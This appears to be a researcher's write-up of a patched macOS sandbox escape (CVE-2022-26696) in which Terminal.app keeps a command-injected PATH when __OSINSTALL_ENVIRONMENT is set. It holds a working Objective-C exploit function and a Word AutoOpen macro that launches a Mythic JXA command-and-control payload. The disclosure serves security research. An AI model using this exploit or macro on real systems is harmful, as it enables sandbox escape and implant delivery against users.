Introduction
In 2020 I observed a strange behavior a sandboxed macOS app may launch any application that won’t inherit the main app’s sandbox profile. It was even funnier as the sandboxed app can spawn those new apps with environment variables. I of course reported it to Apple, but I was told that it’s expected behavior.
From that time there were at least 2 publicly-disclosed vulnerabilities that exploited the above-mentioned behavior:
- Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 by Jonathan Bar Or (@yo_yo_yo_jbo)
- Environmental Disaster: A LaunchServices Tale by Ron Waisberg (@epsilan)
My vulnerability
I also found a vulnerability that exploited this problematic mechanism. Let’s take a look at one of Terminal.app Objective-C methods:
/* @class TTApplication */
+(char)isRunningInInstallEnvironment {
if (*(int8_t *)byte_10010617c == 0x1) {
rax = *(int8_t *)byte_10010617b;
}
else {
COND = getenv("__OSINSTALL_ENVIRONMENT") != 0x0;
rax = COND_BYTE_SET(NE);
*(int8_t *)byte_10010617b = COND ? 0x1 : 0x0;
*(int8_t *)byte_10010617c = 0x1;
}
rax = sign_extend_64(rax);
return rax;
}
+[TTApplication isRunningInInstallEnvironment]
will return YES
when the __OSINSTALL_ENVIRONMENT
environment variable was set. That method was used by another method:
/* @class TTApplication */
-(void *)init {
var_30 = self;
*(&var_30 + 0x8) = *0x1000f4790;
rax = [[&var_30 super] init];
r14 = rax;
if (rax != 0x0) {
if (*qword_100105e38 == 0x0) {
*qword_100105e38 = r14;
}
rbx = [[[NSProcessInfo processInfo] environment] mutableCopy];
if ([objc_opt_class(r14) isRunningInInstallEnvironment] == 0x0) {
[rbx removeObjectForKey:@"HOME"];
[rbx removeObjectForKey:@"USER"];
[rbx removeObjectForKey:@"LOGNAME"];
[rbx removeObjectForKey:@"PATH"];
[rbx removeObjectForKey:@"SHELL"];
}
[...]
So, when Terminal.app starts, some of the environment variables were not cleared when +[TTApplication isRunningInInstallEnvironment]
returned YES
. Great, with simple command injection I was able to execute code within the Terminal.app context without any sandbox!
I used the following function to escape sandbox from an Objective-C app:
void sbxWithShellCommand(NSString *command) {
FSRef appFSURL;
NSString *path = @"/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal";
OSStatus stat2 = FSPathMakeRef((const UInt8 *)[path UTF8String], &appFSURL, NULL);
if (stat2 < 0) {
NSLog(@"Something wrong: %d",stat2);
}
LSApplicationParameters appParam;
appParam.version = 0;
appParam.flags = kLSLaunchDefaults;
appParam.application = &appFSURL;
appParam.argv = NULL;
NSString *finalCommand = [NSString stringWithFormat:@"$(%@)", command];
NSDictionary *envs = @{@"PATH":finalCommand, @"__OSINSTALL_ENVIRONMENT":@"1"};
appParam.environment = (__bridge CFDictionaryRef)envs;
appParam.asyncLaunchRefCon = NULL;
appParam.initialEvent = NULL;
CFArrayRef array = (__bridge CFArrayRef)@[];
OSStatus stat = LSOpenURLsWithRole(array, kLSRolesAll, NULL, &appParam, NULL, 0);
if (stat<0) {
NSLog(@"Something wrong: %d",stat);
}
}
Weaponization
As a big fan of #macOSRedTeaming I also weaponized that exploit by embedding it in a Word document and loading Mythic’s JXA payload:
Sub AutoOpen()
MacScript ("do shell script ""open -b com.apple.terminal --env __OSINSTALL_ENVIRONMENT=1 --env PATH='$(/usr/bin/osascript -l JavaScript /path/.apfell.js)'"" ")
End Sub
Executing code within the Terminal.app context can be really dangerous as it can also have some TCC permissions already granted. ☠️
Demo
In the demo you can see that I was able to escape Word’s sandbox and execute code within the Terminal:
Fix
This vulnerability was fixed as CVE-2022-26696. Apple Terminal no longer respects the __OSINSTALL_ENVIRONMENT
environment variable.